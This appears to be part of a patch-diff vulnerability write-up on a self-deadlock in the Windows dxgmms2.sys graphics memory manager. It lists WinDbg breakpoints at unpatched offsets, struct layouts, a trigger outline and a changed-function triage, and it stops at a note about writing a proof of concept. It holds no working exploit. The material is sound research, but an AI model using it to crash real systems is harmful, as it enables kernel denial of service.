&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;for_each_module&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enumerate&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Add the offsets below to the loaded base. The addresses shown are RVAs (relative to the module load base in the JSON; subtract &lt;code&gt;0x1c0000000&lt;/code&gt; to get an RVA).&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Primary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acquire&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AddVaRangeToVadRangeListWithFix&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms2&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;&lt;span class="n"&gt;AddVaRangeToVadRangeListWithFix&lt;/span&gt;&lt;span class="nv"&gt;@CVirtualAddressAllocator&lt;/span&gt;&lt;span class="nb"&gt;@@QEAAJPEAUVIDMM_VAD@@IPEAPEAU_LIST_ENTRY@@PEAUVIDMM_MAPPED_VA_RANGE&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;@@Z&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms2&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x5f13c&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;symbol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unavailable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RVA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RemoveVaRangeFromVad&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acquires&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;caller&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skips&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms2&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;&lt;span class="n"&gt;RemoveVaRangeFromVad&lt;/span&gt;&lt;span class="nv"&gt;@CVirtualAddressAllocator&lt;/span&gt;&lt;span class="nb"&gt;@@QEAAXPEAU_LIST_ENTRY@@EEE&lt;/span&gt;&lt;span class="nv"&gt;@Z&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms2&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x6029c&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RVA&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Constructor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VIDMM_GLOBAL_ALLOC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;being&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialized&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms2&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;&lt;span class="n"&gt;CreateOneAllocation&lt;/span&gt;&lt;span class="nv"&gt;@VIDMM_GLOBAL&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms2&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x5d34c&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RVA&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Generic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fire&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;whenever&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;suspect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pushlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;taken&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nt&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Conditional breakpoint to catch the self-deadlock&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pushlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nt&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;.if (poi(@rcx) &amp;amp; 1) { .echo LOCKED-ALREADY; !thread; kb; r; g } .else { g }&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This checks whether the pushlock already has its "locked" bit set when the acquire is reached, and whether &lt;code&gt;gs:[0x188]&lt;/code&gt; (current ETHREAD) equals the owner tag at &lt;code&gt;owner+0x160&lt;/code&gt; — a strong signal the calling thread already owns it.&lt;/p&gt;
&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stop&lt;/th&gt;
&lt;th&gt;Register / Memory to watch&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;args in &lt;code&gt;rcx&lt;/code&gt;/&lt;code&gt;rdx&lt;/code&gt;/&lt;code&gt;r8&lt;/code&gt;/&lt;code&gt;r9&lt;/code&gt;; &lt;code&gt;owner&lt;/code&gt; = &lt;code&gt;GetVidMmGlobalAllocFromOwner(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;owner+0x158&lt;/code&gt; = VIDMM_GLOBAL_ALLOC pushlock, &lt;code&gt;owner+0x160&lt;/code&gt; = owner-thread tag (unused in unpatched).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;acquire call&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;owner+0x158&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poi(rcx) &amp;amp; 1&lt;/code&gt; means already locked. Compare &lt;code&gt;gs:[0x188]&lt;/code&gt; to &lt;code&gt;poi(owner+0x160)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RemoveVaRangeFromVad&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a5&lt;/code&gt; argument&lt;/td&gt;
&lt;td&gt;If &lt;code&gt;a5!=0&lt;/code&gt; the function skips the acquire/release of &lt;code&gt;owner+0x158&lt;/code&gt;; called with &lt;code&gt;a5=1&lt;/code&gt; from &lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateOneAllocation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;allocated object after &lt;code&gt;operator new&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;operator new&lt;/code&gt; size is &lt;code&gt;504&lt;/code&gt; (0x1f8) unpatched vs &lt;code&gt;520&lt;/code&gt; (0x208) patched. &lt;code&gt;db &amp;lt;obj&amp;gt;+0x150 l20&lt;/code&gt; shows the &lt;code&gt;+0x160&lt;/code&gt; owner slot.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nt!ExAcquirePushLockExclusiveEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = pushlock&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dt _EX_PUSH_LOCK poi(rcx)&lt;/code&gt;; bits as described below.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;EX_PUSH_LOCK&lt;/code&gt; bit layout (from the value at &lt;code&gt;[ctx+0x158]&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bit 0       = Locked
bit 1       = Shared waiters present
bit 2       = Exclusive waiters present
bits 3..    = Waiter count
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A value of &lt;code&gt;0x1&lt;/code&gt; with the current &lt;code&gt;ETHREAD&lt;/code&gt; blocked in &lt;code&gt;KeWaitForSingleObject&lt;/code&gt; confirms self-deadlock.&lt;/p&gt;
&lt;h3&gt;Trigger setup from user mode&lt;/h3&gt;
&lt;p&gt;Reaching the vulnerable code requires a user-mode graphics client (Direct3D / D3DKMT) that drives VIDMM allocation and GPU-VA mapping so execution enters &lt;code&gt;CVirtualAddressAllocator::AddVaRangeToVadRangeList&lt;/code&gt; (&lt;code&gt;0x1c0087078&lt;/code&gt;) and the other &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt;-pushlock acquiring functions. The concrete user-mode call sequence that makes the same thread reenter one of those functions while it already holds &lt;code&gt;owner+0x158&lt;/code&gt; was not isolated from the binaries and must be found dynamically. Note the &lt;code&gt;AddVaRangeToVadRangeListWithFix → RemoveVaRangeFromVad&lt;/code&gt; edge passes &lt;code&gt;a5=1&lt;/code&gt; and does &lt;strong&gt;not&lt;/strong&gt; re-acquire &lt;code&gt;owner+0x158&lt;/code&gt;, so that edge is not the reentrancy source; the reentrant acquirer must come from another path.&lt;/p&gt;
&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Deadlock variant:&lt;/strong&gt; &lt;code&gt;!process 0 0&lt;/code&gt; shows the offending thread in &lt;code&gt;KeWaitForSingleObject&lt;/code&gt; ← &lt;code&gt;ExfAcquirePushLockExclusive&lt;/code&gt;. The pushlock at &lt;code&gt;ctx+0x158&lt;/code&gt; reads &lt;code&gt;0x1&lt;/code&gt;. Bug check &lt;code&gt;0x133 DPC_WATCHDOG_VIOLATION&lt;/code&gt; after ~10 seconds.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset cheat sheet (per-object context)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x150&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(alignment / pre-pushlock area)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x158&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EX_PUSH_LOCK&lt;/code&gt; value (&lt;code&gt;obj[0x2b]&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The vulnerable lock.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x160&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Owner &lt;code&gt;ETHREAD*&lt;/code&gt; (&lt;code&gt;obj[0x2c]&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Uninitialized in unpatched.&lt;/strong&gt; Patched writes &lt;code&gt;gs:[0x188]&lt;/code&gt; here.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x16c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Type/state tag (&lt;code&gt;= 0x35&lt;/code&gt; patched)&lt;/td&gt;
&lt;td&gt;New in patched.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total size&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1f8&lt;/code&gt; unpatched / &lt;code&gt;0x208&lt;/code&gt; patched&lt;/td&gt;
&lt;td&gt;Patch adds &lt;code&gt;0x10&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim.&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VIDMM_GLOBAL::CreateOneAllocation&lt;/code&gt; (&lt;code&gt;sub_1c005d34c&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.986&lt;/td&gt;
&lt;td&gt;behavioral&lt;/td&gt;
&lt;td&gt;Object allocator. &lt;code&gt;operator new&lt;/code&gt; size &lt;code&gt;504 → 520&lt;/code&gt; (&lt;code&gt;0x1f8 → 0x208&lt;/code&gt;); adds discrete init of new owner slot &lt;code&gt;obj[44]&lt;/code&gt; (&lt;code&gt;+0x160&lt;/code&gt;) and type tag &lt;code&gt;*((_DWORD*)obj+91)=53&lt;/code&gt; (&lt;code&gt;0x35&lt;/code&gt; at &lt;code&gt;+0x16c&lt;/code&gt;). No literal memset. &lt;strong&gt;Backs the patch&lt;/strong&gt; — zero-inits the owner-thread slot.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CVirtualAddressAllocator::AddVaRangeToVadRangeListWithFix&lt;/code&gt; (&lt;code&gt;sub_1c005f13c&lt;/code&gt;; patched &lt;code&gt;0x1c005f15c&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.923&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Primary function. Gates the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; lock acquire behind feature flag &lt;code&gt;Feature_Servicing_PteDeadLock&lt;/code&gt; (&lt;code&gt;sub_1c0018990&lt;/code&gt;), owner tag at &lt;code&gt;owner+0x160&lt;/code&gt;, conditional release via &lt;code&gt;v68&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VIDMM_GLOBAL::CloseOneAllocation&lt;/code&gt; (&lt;code&gt;sub_1c0069f40&lt;/code&gt;; patched &lt;code&gt;0x1c006a030&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.920&lt;/td&gt;
&lt;td&gt;behavioral&lt;/td&gt;
&lt;td&gt;Adds a &lt;code&gt;Feature_Servicing_VARangeRaceCondition&lt;/code&gt;-gated deferred-cleanup path (&lt;code&gt;QueueSystemCleanupCommandAndWait&lt;/code&gt;); struct offsets shift &lt;code&gt;+0x10&lt;/code&gt;. &lt;code&gt;TerminateOneAllocation&lt;/code&gt; call unchanged (no &lt;code&gt;arg2 → 0&lt;/code&gt;). Separate servicing fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VIDMM_GLOBAL::MemoryTransferInternal&lt;/code&gt; (&lt;code&gt;sub_1c008bd80&lt;/code&gt;; patched &lt;code&gt;0x1c008bf20&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.975&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds owner tag after acquire (&lt;code&gt;*(owner+0x160) = KeGetCurrentThread()&lt;/code&gt;) and clear before release. Acquire itself not feature-gated here.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VIDMM_MAPPED_VA_RANGE::~VIDMM_MAPPED_VA_RANGE&lt;/code&gt; (&lt;code&gt;sub_1c000136c&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.981&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Destructor. Adds owner tag at &lt;code&gt;owner+0x160&lt;/code&gt;. The &lt;code&gt;Feature_3895685435&lt;/code&gt; (&lt;code&gt;sub_1c00179a4&lt;/code&gt;→&lt;code&gt;sub_1c00179ec&lt;/code&gt;) and &lt;code&gt;Feature_Servicing_VARangeHoldReference&lt;/code&gt; (&lt;code&gt;sub_1c00179f8&lt;/code&gt;→&lt;code&gt;sub_1c0017a40&lt;/code&gt;) calls are the SAME WIL flags, only relocated.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CVirtualAddressAllocator::RemoveVaRangeFromVad&lt;/code&gt; (&lt;code&gt;sub_1c006029c&lt;/code&gt;; patched &lt;code&gt;0x1c0060348&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.943&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds owner tag at &lt;code&gt;owner+0x160&lt;/code&gt;. Acquisition of &lt;code&gt;owner+0x158&lt;/code&gt; already gated by the &lt;code&gt;a5&lt;/code&gt; argument in both builds (skipped when &lt;code&gt;a5!=0&lt;/code&gt;); called with &lt;code&gt;a5=1&lt;/code&gt; from &lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt;, so not itself the deadlock source.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CheckUniqueGpuVaMapping&lt;/code&gt; (&lt;code&gt;sub_1c00875b4&lt;/code&gt;; patched &lt;code&gt;0x1c0087744&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.987&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds owner tag at &lt;code&gt;owner+0x160&lt;/code&gt; (&lt;code&gt;a1+0x160&lt;/code&gt;) and clear before release. Same hardening pattern.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Cosmetic / register-allocation changes&lt;/strong&gt; (collapsed): the functions show routine shifts in struct-field offsets (&lt;code&gt;+0x1f0 → +0x200&lt;/code&gt;, &lt;code&gt;+0x168 → +0x178&lt;/code&gt;, etc.) driven by the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; size growth. These are not independently exploitable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Behavioral-but-not-directly-exploitable notes:&lt;/strong&gt;
- &lt;code&gt;sub_1c0069f40&lt;/code&gt;'s real change is a &lt;code&gt;Feature_Servicing_VARangeRaceCondition&lt;/code&gt;-gated cleanup path, a distinct servicing hardening; the previously reported &lt;code&gt;arg2 → 0&lt;/code&gt; cross-process-context change is not present.
- &lt;code&gt;sub_1c0018990&lt;/code&gt; (&lt;code&gt;Feature_Servicing_PteDeadLock&lt;/code&gt;), &lt;code&gt;sub_1c00179ec&lt;/code&gt; (&lt;code&gt;Feature_3895685435&lt;/code&gt;) and &lt;code&gt;sub_1c0017a40&lt;/code&gt; (&lt;code&gt;Feature_Servicing_VARangeHoldReference&lt;/code&gt;) are WIL feature-staging flags, not bespoke reentrancy helpers. The last two exist in both builds and are merely relocated.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. Both &lt;code&gt;unmatched_unpatched&lt;/code&gt; and &lt;code&gt;unmatched_patched&lt;/code&gt; are &lt;code&gt;0&lt;/code&gt;. The patch is in-place. &lt;code&gt;sub_1c0018990&lt;/code&gt; (&lt;code&gt;Feature_Servicing_PteDeadLock__private_IsEnabledDeviceUsage&lt;/code&gt;) is a WIL feature-staging flag present in the patched build; it is called from the existing functions. The &lt;code&gt;Feature_3895685435&lt;/code&gt; and &lt;code&gt;Feature_Servicing_VARangeHoldReference&lt;/code&gt; staging flags exist in both builds and simply relocated (&lt;code&gt;sub_1c00179a4→sub_1c00179ec&lt;/code&gt;, &lt;code&gt;sub_1c00179f8→sub_1c0017a40&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implication:&lt;/strong&gt; The fix is feature-staged: the patched binary retains the original unconditional-acquire path, selected when &lt;code&gt;Feature_Servicing_PteDeadLock&lt;/code&gt; is disabled. The owner-tag hardening is distributed across the consumer functions plus the constructor.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: Medium-High (for DoS) / Low (for memory corruption).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rationale:
- The acquire of &lt;code&gt;owner+0x158&lt;/code&gt; without a self-ownership check is directly visible in the unpatched &lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; (and the other acquiring functions), and the patched build adds the &lt;code&gt;Feature_Servicing_PteDeadLock&lt;/code&gt;-gated self-ownership check plus the owner tag at &lt;code&gt;owner+0x160&lt;/code&gt;. The self-deadlock is deterministic &lt;em&gt;given a thread reenters an acquiring path while already holding the lock&lt;/em&gt;; the specific reentrant path was not isolated statically.
- The memory-corruption path is speculative: the unpatched release runs only on a call that actually acquired, so a premature-release UAF is not demonstrated from the binaries.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions made:&lt;/strong&gt;
- Struct index &lt;code&gt;[0x2b]&lt;/code&gt;/&lt;code&gt;[0x2c]&lt;/code&gt; maps to byte offsets &lt;code&gt;+0x158&lt;/code&gt;/&lt;code&gt;+0x160&lt;/code&gt;, consistent with the code (&lt;code&gt;owner + 344&lt;/code&gt; / &lt;code&gt;owner + 352&lt;/code&gt;).
- The call chain &lt;code&gt;Direct3D → dxgkrnl.sys → AddVaRangeToVadRangeList (0x1c0087078) → AddVaRangeToVadRangeListWithFix (0x1c005f13c)&lt;/code&gt; is inferred; the reentrant acquirer of &lt;code&gt;owner+0x158&lt;/code&gt; on the same thread was not enumerated.
- The &lt;code&gt;+0x160&lt;/code&gt; owner slot is unused in the unpatched &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; object; the patch grows the object &lt;code&gt;0x1f8 → 0x208&lt;/code&gt; and zero-inits it in &lt;code&gt;CreateOneAllocation&lt;/code&gt; (discrete field store, not a memset). Confirm with &lt;code&gt;db &amp;lt;obj&amp;gt;+0x150 l20&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To verify before writing a PoC:&lt;/strong&gt;
